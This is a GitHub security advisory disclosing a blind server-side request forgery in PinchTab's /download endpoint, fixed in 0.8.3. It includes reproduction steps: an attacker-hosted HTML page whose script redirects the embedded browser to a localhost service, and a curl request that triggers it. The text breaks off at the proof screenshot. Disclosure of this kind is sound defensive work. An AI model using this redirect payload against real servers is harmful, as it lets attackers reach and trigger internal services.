GitHub Security Advisory: GHSA-qwxp-6qf9-wr4m
Package: github.com/pinchtab/pinchtab (GO)
Severity: MODERATE (CVSS 5.8)
CWE: CWE-918: Server-Side Request Forgery (SSRF)
Vulnerable versions: <= 0.8.2
Patched in: 0.8.3

Summary: PinchTab has a Blind SSRF via browser-side redirect bypass in /download URL validation

Details:
### **The /download endpoint validates only the initial URL provided by the user using validateDownloadURL() to prevent requests to internal or private network addresses.**

Exploitation requires \security.allowDownload=true`, which is disabled by default.`

However, pages loaded by the embedded Chromium browser can trigger additional browser-side requests (for example, JavaScript redirects, navigations, or resource requests) after the initial validation step.

Because the validation is only applied to the initial URL and not to subsequent browser-issued request targets, an attacker-controlled page can cause the browser to issue requests to internal network services reachable from the PinchTab host.

This results in a blind Server-Side Request Forgery (SSRF) condition in which internal-only services may be accessed and state-changing endpoints may be triggered without returning the response body to the attacker.


### **Steps to Reproduce:**

**Environment Setup**
Target: PinchTab server (tested on v0.8.x, v0.7.x)
Attacker-controlled server: Publicly accessible (e.g., via ngrok) [attacker.py](https://github.com/user-attachments/files/26013554/att.py)
Internal service: Runs on the same host as PinchTab and is not externally accessible [internal_service.py](https://github.com/user-attachments/files/26013551/internal.py)

**1. Start a Local Internal Service (Victim Side)**

Run a simple HTTP service bound to localhost: [internal_service.py](https://github.com/user-attachments/files/26013551/internal.py)
    
    python internal_service.py
    
    #Example behavior of internal_service.py:
    #Listens on 127.0.0.1:1337
    #Exposes endpoint /increment
    #Increments a counter and logs requests
    
    #Expected output when accessed:
    #COUNTER INCREMENTED: 1
    #COUNTER INCREMENTED: 2

**2. Host an Attacker-Controlled Page (Attacker side)**

Deploy a malicious HTML page that redirects to the internal service: [attacker.py](https://github.com/user-attachments/files/26013554/att.py)

    <html>
    <body>
    <script>
    setTimeout(function(){
        window.location = "http://127.0.0.1:1337/increment";
    }, 1500);
    </script>
    </body>
    </html>
Host this page on a publicly accessible server (e.g., using ngrok): https://fcb8-180-149-93-3.ngrok-free.app


**3. Trigger the Vulnerable Endpoint (Attacker side)**

Send a request to the PinchTab /download endpoint:

    curl "http://[server-ip]:9867/download?url=https://fcb8-180-149-93-3.ngrok-free.app"

If a server token is configured, the request must include valid authentication.

**4. Observe Server-Side Request to Localhost**

When PinchTab processes the request:
1. It launches a headless Chromium instance
2. The browser loads the attacker-controlled page
3. JavaScript executes within the browser
4. The browser redirects to: http://127.0.0.1:1337/increment


**5. Verify the Impact**

Check the output of internal_service.py:
   <img width="718" height="156" alt="proof" src="https://github